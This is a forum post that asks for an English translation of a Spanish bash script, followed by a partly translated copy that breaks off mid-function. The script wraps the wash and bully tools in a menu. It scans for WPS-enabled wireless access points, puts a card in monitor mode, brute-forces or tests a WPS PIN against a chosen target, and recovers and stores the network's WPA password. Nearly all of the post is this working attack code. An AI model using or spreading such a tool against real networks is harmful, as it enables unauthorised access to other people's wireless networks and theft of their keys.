Can anyone translate this script into English for us please? URL: http://foro.seguridadwireless.net/a...-interface-dialog-para-auditar-wps-con-bully/ Code: Select All #!/bin/bash # VERSION 0.1 12/09/2013 # ----------------------- # - Fecha de salida # # VERSION 0.2 12/09/2013 # ----------------------- # - Solucionado bug con ESSIDs que contengan espacios (Warcry) # # VERSION 0.3 13/09/2013 # ----------------------- # - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO) # # VERSION 0.4 13/09/2013 # ----------------------- # - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa. # (USUARIONUEVO) # # VERSION 0.5 19/09/2013 # ----------------------- # - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error. # - Solucionado problema que impedía leer la clave WPA del log de bully. # - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver # a montar el driver de la interface (es mas efectivo). # - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y # en caso afirmativo, se muestra la clave junto con la información del objetivo. # # VERSION 0.6 24/09/2013 # ----------------------- # - Modificada funciona de reseteo de interface para añadir al final un ifconfig up # - Ahora se "resetea" la interface también al salir del script. # # VERSION 0.7 24/09/2013 # ----------------------- # - Solucionado bug que probocaba que se quedara el PIN "fijado" # en el ataque de fuerza bruta habiendo realizado anteriormente # un ataque introduciendo un PIN especifico. # - Solucionado un error ortográfico. # # VERSION 0.8.1 26/09/2013 # ----------------------- # - Mejorada la función de detectar driver para identificar correctamnete # el driver WiLink. # - Añadido un sleep después de desmonta el driver y otro después de volver # a montarlo, para evitar problemas con el driver ath9k. # # VERSION 0.9 29/09/2013 # ----------------------- # Adaptada la función de salvar la clave WPA (Necesario para que funcione con las # últimas versiones de bully). # Se añade la función de actualizar Bully desde GitHub. # Se añade comprobación de privilegios al ejecutar el script. # Algunos cambios menores en el código. # Variables globales SCRIPT="BullyWPSdialog" VERSION="0.9 Beta" BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net" TMP="/tmp/$SCRIPT" KEYS="$HOME/swireless/$SCRIPT/Keys" # Función que actualiza bully a la última versión bully_updater() { # Función que se encarga de descargar, compilar e instalar update_bully() { echo -e -n "\n - Descargando Bully ${VERSION_GIT}... " # Descargamos la última versión de bully curl -s -o "$TMP/bully-${VERSION_GIT}.zip" \ https://codeload.github.com/bdpurcell/bully/zip/master if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e -n "\n - Extrallendo el paquete... " # Extraemos el .zip unzip -q "$TMP/bully-${VERSION_GIT}.zip" -d "$TMP" if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e -n "\n - Compilando las fuentes... " # Compilamos el código fuente cd "$TMP/bully-master/src" make -j >/dev/null 2>&1 if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi sleep 1 echo -e -n "\n - Instalando Bully... " # Instalamos bully en /usr/bin cp bully /usr/bin if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e "\n " } # Si no hay conexión a internet, no se puede continuar if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then dialog --backtitle "$BACKTITLE" \ --title " NO HAY CONEXIÓN " \ --ok-label "Volver al menú" \ --msgbox "\nPara actualizar bully, primero \ debes conectarte a internet. \n " 0 0 sleep 1 # Volvemos al menú principal menu fi # Guardamos la versión actual en una variable VERSION="$(bully --version 2>/dev/null)" # Guardamos la versión de GitHub en una variable VERSION_GIT="$(curl -s \ https://raw.github.com/bdpurcell/bully/master/src/version.h|\ tr -d '"'|awk '{print $3}')" # Comprobamos si ya tenemos la última versión if [ "$VERSION" = "$VERSION_GIT" ]; then dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --ok-label "Volver al menú" \ --msgbox "\nYa tienes la última versión instalada\n " 0 0 # Volvemos al menú principal menu else # Diálogo que permite elegir si actualizar o no dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --yes-label "Actualizar" \ --no-label "No actualizar" \ --yesno "\nHay una actualización de bully disponible \n\ \n - Última versión: $VERSION_GIT \ \n - Versión actual: $VERSION \n " 0 0 # Si dialog devuelve el valor 0, procedemos con la actualización if [ $? = 0 ]; then # Ejecutamos el updater y guardamos la salida en un archivo update_bully >"$TMP/updater.txt" & # Guardamos el proceso del updater en una variable PID=$! # Mientras exista el proceso, vamos lellendo la salida del updater while [ -e /proc/$PID ]; do sleep 1 TEXT="$(cat "$TMP/updater.txt")" dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --infobox "$TEXT" 0 0 done sleep 3 # Se vuelve a comprobar la versión instalada VERSION="$(bully --version 2>/dev/null)" # Si la versión instalada corresponde con la versión de GitHub, # significa que todo ha salido bien, en caso contrario # se informa del error. if [ "$VERSION" = "$VERSION_GIT" ]; then MSGBOX="Bully se ha actualizado correctamente \ a la versión $VERSION" else MSGBOX="Ocurrió un error durante la actualización" fi dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --ok-label "Volver al menú" \ --msgbox "\n$MSGBOX \n " 0 0 sleep 1 fi fi # Se eliminan los archivos temporales [ -e "$TMP/bully-${VERSION_GIT}.zip" ] && rm -rf "$TMP/bully-${VERSION_GIT}.zip" [ -e "$TMP/bully-master" ] && rm -rf "$TMP/bully-master" # Volvemos al menú principal menu } # Función que obtiene PIN y clave WPA del log de bully obtener_clave_wpa() { # En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|grep "signal 0$")" ]; then # Se parsea el log de bully para obtener el PIN y la clave WPA WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $2}')" CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $4}')" # Si el BSSID objetivo cumple con el CheckSum, # este se calcula para saber cual es el último dígito del PIN # (ya podría venir el PIN completo en el log de bully ¬¬) if [ ! "$NO_CHECKSUM" ]; then WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7) pin=$WPS_PIN wps_pin_checksum WPS_PIN=$WPS_PIN$PIN_p2 fi else unset WPS_PIN unset CLAVE_WPA fi } # Función que desmonta y vuelve a montar el driver de la interface seleccionada reset_iface() { if [ "$INTERFACE" ]; then # Identificamos el driver de la interface seleccionada DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")" if [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then DRIVER="WiLink" fi # Se desmonta y se vuelve a montar el driver rmmod -f "$DRIVER" >/dev/null 2>&1 sleep 1 modprobe "$DRIVER" >/dev/null 2>&1 sleep 1 # Se pone la interface "up" para evitar problemas # con algunos adaptadores inalámbricos ifconfig "$INTERFACE" up >/dev/null 2>&1 fi } # Función comprobar si la interface está asociada a un punto de acceso comprobacion_interface_asociada() { # Si la interface está asociada, no se puede continuar if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then dialog --backtitle "$BACKTITLE" \ --title " NO SE PUEDE CONTINUAR " \ --ok-label "Salir" \ --msgbox "\nPara evitar errores, la interface $INTERFACE \ no debe estar asociada a un punto de acceso.\n " 0 0 exit 1 fi } # Función salvar clave WPA salvar_clave_wpa() { # Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú if [ ! "$CLAVE_WPA" ]; then dialog --backtitle "$BACKTITLE" \ --title " PROCESO COMPLETADO " \ --ok-label "Volver al menú" \ --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0 # Si dialog no devuelve el valor 0, salimos if [ $? != 0 ]; then reset_iface; exit 1 fi menu fi # Si existe la ruta $KEYS y no es un directorio se elimina if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi # Si no existe la ruta $KEYS la creamos if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi # Salvamos la clave en un archivo de texto NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')" cat << EOF >"$TMP/$NOMBRE.key" ESSID: $ESSID BSSID: $BSSID PIN WPS: $WPS_PIN CLAVE WPA: $CLAVE_WPA EOF # Convertimos el texto a formato windows cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt" # Diálogo que informa donde se ha guardado la clave WPA dialog --backtitle "$BACKTITLE" \ --title " PROCESO COMPLETADO " \ --ok-label "Volver al menú" \ --msgbox "\n¡Se ha obtenido con exito la clave WPA! \ \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0 # Saltamos al menú principal menu } # Función lanzar ataque de fuerza bruta con bully bully_wps() { # Si no se ha seleccionado ningún objetivo no se puede continuar if [ ! "$ESSID" -o ! "$BSSID" ]; then dialog --backtitle "$BACKTITLE" \ --title " NO SE PUEDE CONTINUAR " \ --ok-label "Volver al menú" \ --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0 menu fi # Si no existe la interface en modo monitor, # llamamos a la función seleccionar_interface. if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then seleccionar_interface else # Se comprueba que la interface no esté asociada comprobacion_interface_asociada fi # Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then NO_CHECKSUM="-B" LONGITUD_PIN="8" else unset NO_CHECKSUM LONGITUD_PIN="7" fi # Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin if [ "$1" = "--Pin" ]; then dialog --backtitle "$BACKTITLE" \ --title " INTRODUCIR PIN MANUALMENTE " \ --cancel-label "Volver al menú" \ --max-input "$LONGITUD_PIN" \ --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \ 2>"$TMP/PIN_WPS.txt" # Si el comando anterior no devuelve el valor 0, volvemos al menú if [ ! $? = 0 ]; then menu; fi # Si no se intruduce un valor numérico, no se puede continuar if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --msgbox "\nDebes introducir un valor numérico\n " 0 0 bully_wps --Pin fi # Guardamos en una variable el PIN junto con los parámetros para bully PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")" else unset PIN_WPS fi # Lanzamos ataque con bully xterm -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \ "bully -F -N -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM $INTERFACE_MON" & BULLY_PID=$! # Diálogo que aparecerá mientras se ejecuta el ataque dialog --backtitle "$BACKTITLE" \ --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully, presiona \"Control+C\" para detener el proceso.\n " 16 49 # Si se presiona "Control+C", se detiene el proceso de bully trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT # Mientras el proceso de bully esté activo, el script estrá "durmiendo" while [ -e "/proc/$BULLY_PID" ]; do sleep 2 done # Obtenemos el PIN y clave WPA obtener_clave_wpa # Salvamos PIN y clave en un archivo salvar_clave_wpa } # Función seleccionar objetivo seleccionar_objetivo() { # Si no se encuentran objetivos, no se puede continuar if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then dialog --backtitle "$BACKTITLE" \ --title " NO SE PUEDE CONTINUAR " \ --ok-label "Volver al menú" \ --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0 menu fi # Creamos el menú para seleccionar objetivo N=1 cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi echo "\"$N)\" \"$MAC $LOCK $CANAL $(($PWR+100)) $ESSID\" \\" N=$(($N+1)) done >"$TMP/menu_objetivos.txt" # Diálogo para seleccionar objetivo dialog --backtitle "$BACKTITLE" \ --title " SELECCIONAR OBJETIVO " \ --cancel-label "Volver al menú" \ --menu "\n BSSID Locked Canal PWR ESSID" 0 0 0 \ --file "$TMP/menu_objetivos.txt" \ 2>"$TMP/seleccion.txt" # Si el comando anterior no devuelve el valor 0, volvemos al menú if [ ! $? = 0 ]; then menu; fi # Definimos los parámetros que se le pasarán a bully SELECCION=$(cat "$TMP/seleccion.txt") ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)" BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')" CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')" # Comprobamos si la clave ya ha sido obtenida anteriormente if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')" CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')" else obtener_clave_wpa fi # Saltamos al menú principal menu } # Función escanear con wash en busca de objetivos con WPS activado escanear_wps() { # Si no existe la interface en modo monitor, # llamamos a la función seleccionar_interface. if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then seleccionar_interface else # Se comprueba que la interface no esté asociada comprobacion_interface_asociada fi # Diálogo para introducir tiempo a escanear dialog --backtitle "$BACKTITLE" \ --title " ESCANEAR EN BUSCA DE OBJETIVOS " \ --cancel-label "Volver al menú" \ --max-input "2" \ --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \ 2>"$TMP/segundos.txt" # Si el comando anterior no devuelve el valor 0, volvemos al menú if [ ! $? = 0 ]; then menu; fi # Si no se introduce un valor numérico, no se puede continuar if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --msgbox "\nDebes introducir un valor numérico\n " 0 0 escanear_wps fi # Matámos proceso de wash para evitar conflictos killall wash >/dev/null 2>&1 # Escaneamos con wash wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" & # Diálogo que muestra barra de progreso mientras se escanea N2=$(cat "$TMP/segundos.txt") N1=1 while [ ! $(($N1-1)) -eq $N2 ]; do PORCENT=$(($(($N1*100))/$N2)) echo $PORCENT sleep 1 N1=$(($N1+1)) done|\ dialog --backtitle "$BACKTITLE" \ --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \ --gauge "" 0 0 \ 2>/dev/null # Cuando pasa el tiempo programado, terminamos el rpoceso de wash killall wash >/dev/null 2>&1 sleep 1 # Saltamos a la funcion seleccionar objetivo seleccionar_objetivo } # Función seleccionar interface y poner en modo monitor seleccionar_interface() { # Si no se encuentra ninguna tarjeta wifi, no se puede continuar if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " NO SE PUEDE CONTINUAR " \ --ok-label "Salir" \ --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0 exit 1 fi # Creamos el menú para seleccionar la interface N=1 airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\ while read INTERFACE CHIPSET MODELO DRIVER; do if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then echo "\"$N\" \"$INTERFACE $CHIPSET $MODELO $DRIVER\" \\" N=$(($N+1)) fi done >"$TMP/menu_interfaces.txt" # Diálogo para seleccionar interface dialog --backtitle "$BACKTITLE" \ --title " SELECCIONAR INTERFACE " \ --cancel-label "Salir" \ --menu "\n Interface Chipset Driver" 0 0 0 \ --file "$TMP/menu_interfaces.txt" \ 2>"$TMP/seleccion.txt" # Si dialog no devuelve el valor 0, salimos. if [ ! $? = 0 ]; then exit 1; fi SELECCION="$(cat "$TMP/seleccion.txt")" INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')" # Se comprueba que la interface no esté asociada comprobacion_interface_asociada # Se reinicia el driver de la interface seleccionada para evitar conflictos reset_iface # Ponemos la interface seleccionada en modo monitor airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1 # Si hay algún error al poner la interface en modo monitor no se puede continuar if [ ! $? = 0 ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --ok-label "Salir" \ --textbox "$TMP/log_airmon-ng.txt" 0 0 reset_iface; exit 1 fi # Definimos interface en modo monitor INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')" dialog --backtitle "$BACKTITLE" \ --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0 sleep 2 } # Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash wps_pin_checksum() { acum=0 PIN_p2=0 while [ $pin -gt 0 ]; do acum=$(($acum + (3 * ($pin % 10)))) pin=$(($pin / 10)) acum=$(($acum + ($pin % 10))) pin=$(($pin / 10)) done result=$(((10 - ($acum % 10)) % 10)) PIN_p2=$(($result % 10000000)) } # Función menú principal menu() { # Información del objetivo INFO_AP=" $(if [ "$ESSID" ] && [ "$BSSID" ] && [ "$CANAL" ]; then echo "\n\n INFORMACIÓN DEL OBJETIVO\n" echo " ************************************ \n" echo " ESSID: $ESSID\n" echo " BSSID: $BSSID\n" echo " Canál: $CANAL\n" if [ "$WPS_PIN" ] && [ "$CLAVE_WPA" ]; then echo " PIN WPS: $WPS_PIN\n" echo " Clave WPA: $CLAVE_WPA\n" echo " ************************************ \n\n" else echo " ************************************ \n\n" fi fi)" # Diálogo con opciones del menú principal dialog --backtitle "$BACKTITLE" \ --title " MENU PRINCIPAL " \ --cancel-label "Salir" \ --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \ "1)" "Escanear en busca de objetivos" \ "2)" "Comenzar ataque de fuerza bruta" \ "3)" "Probar un PIN específico" \ "4)" "Seleccionar otro objetivo" \ "5)" "Actualizar Bully" \ 2>"$TMP/seleccion.txt" # Si dialog no devuelve el valor 0, salimos if [ ! $? = 0 ]; then reset_iface; exit 1; fi # Dependiendo de la opción elegida, se llama a la función correspondiente case $(cat "$TMP/seleccion.txt"|tr -d ')') in 1 ) escanear_wps;; 2 ) bully_wps;; 3 ) bully_wps --Pin;; 4 ) seleccionar_objetivo;; 5 ) bully_updater;; esac } # Si no tenemos permisos de root, no se puede continuar if [ $(id -u) != 0 ]; then dialog --backtitle "$BACKTITLE" \ --title " NO SE PUEDE CONTINUAR " \ --ok-label "Salir" \ --msgbox "\nPara utilizar este script es necesario tener \ permisos de root. \n " 0 0 exit 1 fi # Si existe la ruta $TMP y no es un directorio se elimina if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi # Si no existe la ruta $TMP la creamos if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi # Comienza el script mostrando el menú principal menu
Code: Select All #!/bin/bash # VERSION 0.1 12/09/2013 # ----------------------- # - Fecha de salida # # VERSION 0.2 12/09/2013 # ----------------------- # - Solucionado bug con ESSIDs que contengan espacios (Warcry) # # VERSION 0.3 13/09/2013 # ----------------------- # - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO) # # VERSION 0.4 13/09/2013 # ----------------------- # - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa. # (USUARIONUEVO) # # VERSION 0.5 19/09/2013 # ----------------------- # - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error. # - Solucionado problema que impedía leer la clave WPA del log de bully. # - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver # a montar el driver de la interface (es mas efectivo). # - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y # en caso afirmativo, se muestra la clave junto con la información del objetivo. # # VERSION 0.6 24/09/2013 # ----------------------- # - Modificada funciona de reseteo de interface para añadir al final un ifconfig up # - Ahora se "resetea" la interface también al salir del script. # # VERSION 0.7 24/09/2013 # ----------------------- # - Solucionado bug que probocaba que se quedara el PIN "fijado" # en el ataque de fuerza bruta habiendo realizado anteriormente # un ataque introduciendo un PIN especifico. # - Solucionado un error ortográfico. # # VERSION 0.8.1 26/09/2013 # ----------------------- # - Mejorada la función de detectar driver para identificar correctamnete # el driver WiLink. # - Añadido un sleep después de desmonta el driver y otro después de volver # a montarlo, para evitar problemas con el driver ath9k. # # VERSION 0.9 29/09/2013 # ----------------------- # Adaptada la función de salvar la clave WPA (Necesario para que funcione con las # últimas versiones de bully). # Se añade la función de actualizar Bully desde GitHub. # Se añade comprobación de privilegios al ejecutar el script. # Algunos cambios menores en el código. # global variables SCRIPT="BullyWPSdialog" VERSION="0.9 Beta" BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net" TMP="/tmp/$SCRIPT" KEYS="$HOME/swireless/$SCRIPT/Keys" # Function that updates bully to his last version bully_updater() { # Function that handles download, compile and install update_bully() { echo -e -n "\n - Downloading Bully ${VERSION_GIT}... " # Download last version of Bully curl -s -o "$TMP/bully-${VERSION_GIT}.zip" \ https://codeload.github.com/bdpurcell/bully/zip/master if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e -n "\n - Extracting package... " # Extract the .zip unzip -q "$TMP/bully-${VERSION_GIT}.zip" -d "$TMP" if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e -n "\n - Compiling sources... " # Compile the Source Code cd "$TMP/bully-master/src" make -j >/dev/null 2>&1 if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi sleep 1 echo -e -n "\n - Installing Bully... " # Install bully in /usr/bin cp bully /usr/bin if [ $? = 0 ]; then sleep 1 echo "OK" else echo "ERROR" sleep 1 return 1 fi echo -e "\n " } # If theres no internet conection, we cannot continue if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then dialog --backtitle "$BACKTITLE" \ --title " There is no Internet conection " \ --ok-label "Back to menu" \ --msgbox "\nTo update bully, first \ you must have an internet conection. \n " 0 0 sleep 1 # Back to main menu menu fi # Save current version in a variable VERSION="$(bully --version 2>/dev/null)" # Saving GitHub version in a variable VERSION_GIT="$(curl -s \ https://raw.github.com/bdpurcell/bully/master/src/version.h|\ tr -d '"'|awk '{print $3}')" # Checking last version if [ "$VERSION" = "$VERSION_GIT" ]; then dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --ok-label "Back to menu" \ --msgbox "\nAlready in the last version\n " 0 0 # Back to main menu menu else # Dialog that allows the choice of update or dont dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --yes-label "Update" \ --no-label "Dont Update" \ --yesno "\nThere is an available update\n\ \n - Last Version: $VERSION_GIT \ \n - Current Version: $VERSION \n " 0 0 # If dialof returns 0 value, proceed with update if [ $? = 0 ]; then # Execute update and save the output in a file update_bully >"$TMP/updater.txt" & # Save updater process in a variable PID=$! # While process exist, read updater output while [ -e /proc/$PID ]; do sleep 1 TEXT="$(cat "$TMP/updater.txt")" dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --infobox "$TEXT" 0 0 done sleep 3 # Check installed version VERSION="$(bully --version 2>/dev/null)" # If installed version is the same that GitHub, # means that everything has worked fine, otherwise # it reports the error. if [ "$VERSION" = "$VERSION_GIT" ]; then MSGBOX="Bully has been updated successfully \ to version $VERSION" else MSGBOX="An error has occurred while updating" fi dialog --backtitle "$BACKTITLE" \ --title " BULLY UPDATER " \ --ok-label "Back to menu" \ --msgbox "\n$MSGBOX \n " 0 0 sleep 1 fi fi # Deleting temporary files [ -e "$TMP/bully-${VERSION_GIT}.zip" ] && rm -rf "$TMP/bully-${VERSION_GIT}.zip" [ -e "$TMP/bully-master" ] && rm -rf "$TMP/bully-master" # Back to main menu menu } # Function that obtains PIN and WPA key from bully's log obtener_clave_wpa() { # In case that bully's return is not 0, its implied that no key has #been obtained if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|grep "signal 0$")" ]; then # Parsing bully's log to obtain PIN and WPA Key WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $2}')" CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $4}')" # If target BSSID fulfill CheckSum, # This is calculated to know which is the last digit of PIN # (and could come full PIN in bully's log ¬¬) if [ ! "$NO_CHECKSUM" ]; then WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7) pin=$WPS_PIN wps_pin_checksum WPS_PIN=$WPS_PIN$PIN_p2 fi else unset WPS_PIN unset CLAVE_WPA fi } # Function that umount and mount selected interface driver reset_iface() { if [ "$INTERFACE" ]; then # Identify driver of the selected interface DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")" if [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then DRIVER="WiLink" fi # umount and mount driver rmmod -f "$DRIVER" >/dev/null 2>&1 sleep 1 modprobe "$DRIVER" >/dev/null 2>&1 sleep 1 # gets interface "up" to avoid issues with some # wireless adapters ifconfig "$INTERFACE" up >/dev/null 2>&1 fi } # Function that checks if current interface is associed with an #access point comprobacion_interface_asociada() { # If the interface is assoccied, we cannot continue if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then dialog --backtitle "$BACKTITLE" \ --title " We cannot Continue " \ --ok-label "Exit" \ --msgbox "\nTo avoid errors, the interface $INTERFACE \ shoulnd't be associed to an access point.\n " 0 0 exit 1 fi } # Function to save WPA Key salvar_clave_wpa() { # If we haven't get the WPA Key, report and go back to menu if [ ! "$CLAVE_WPA" ]; then dialog --backtitle "$BACKTITLE" \ --title " Process complete" \ --ok-label "Back to menu" \ --msgbox "\nWe coulnd't get the WPA Key\n " 0 0 # If dialog does not return 0 value, exit if [ $? != 0 ]; then reset_iface; exit 1 fi menu fi # if $KEYS path exists and isn't a folder, gets deleted if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi # If $KEYS path does not exist, it creates it if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi # Saving key on a text file NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')" cat << EOF >"$TMP/$NOMBRE.key" ESSID: $ESSID BSSID: $BSSID PIN WPS: $WPS_PIN CLAVE WPA: $CLAVE_WPA EOF # Converting text to windows format cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt" # Dialog reporting where WPA key is stored dialog --backtitle "$BACKTITLE" \ --title " Process complete " \ --ok-label "Back to menu" \ --msgbox "\nSuccessfuly got WPA Key! \ \nKey has been stored in: \n\n$KEYS/$NOMBRE.txt" 0 0 # Back to main menu menu } # Function that launch brute force attack with bully bully_wps() { # If you havent selected a target, can't continue if [ ! "$ESSID" -o ! "$BSSID" ]; then dialog --backtitle "$BACKTITLE" \ --title " We cannot continue " \ --ok-label "Back to menu" \ --msgbox "\nHaven't selected a target\n " 0 0 menu fi # If interface does not exist in monitor mode # we call the function seleccionar_interface. if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then seleccionar_interface else # Check that interface isn't associated comprobacion_interface_asociada fi # If BSSID answer with 8C:0C:A3, the PIN does not meet #CheckSum if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then NO_CHECKSUM="-B" LONGITUD_PIN="8" else unset NO_CHECKSUM LONGITUD_PIN="7" fi # If you have selected the manual input of PIN, we show dialog to #insert PIN if [ "$1" = "--Pin" ]; then dialog --backtitle "$BACKTITLE" \ --title " INSERT PIN " \ --cancel-label "Back to Menu" \ --max-input "$LONGITUD_PIN" \ --inputbox "\ninsert PIN with $LONGITUD_PIN characters:" 0 0 \ 2>"$TMP/PIN_WPS.txt" # If last command does not return 0 value, back to menu if [ ! $? = 0 ]; then menu; fi # If a numeric value isn't inserted, cannot continue if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then dialog --backtitle "$BACKTITLE" \ --title " ERROR " \ --msgbox "\nMust insert a numeric value\n " 0 0 bully_wps --Pin fi # Saving in a variable PIN with bully parameter PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")" else unset PIN_WPS fi # Launching attack with bully xterm -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \ "bully -F -N -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM $INTERFACE_MON" & BULLY_PID=$! # Dialog while executing attack dialog --backtitle "$BACKTITLE" \ --infobox "$INFO_AP\nStarting attack with bully, Press \"Control+C\" to stop process.\n " 16 49 # If press "Control+C", process stop trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT # While bully process is active, script will be sleeping while [ -e "/proc/$BULLY_PID" ]; do sleep 2 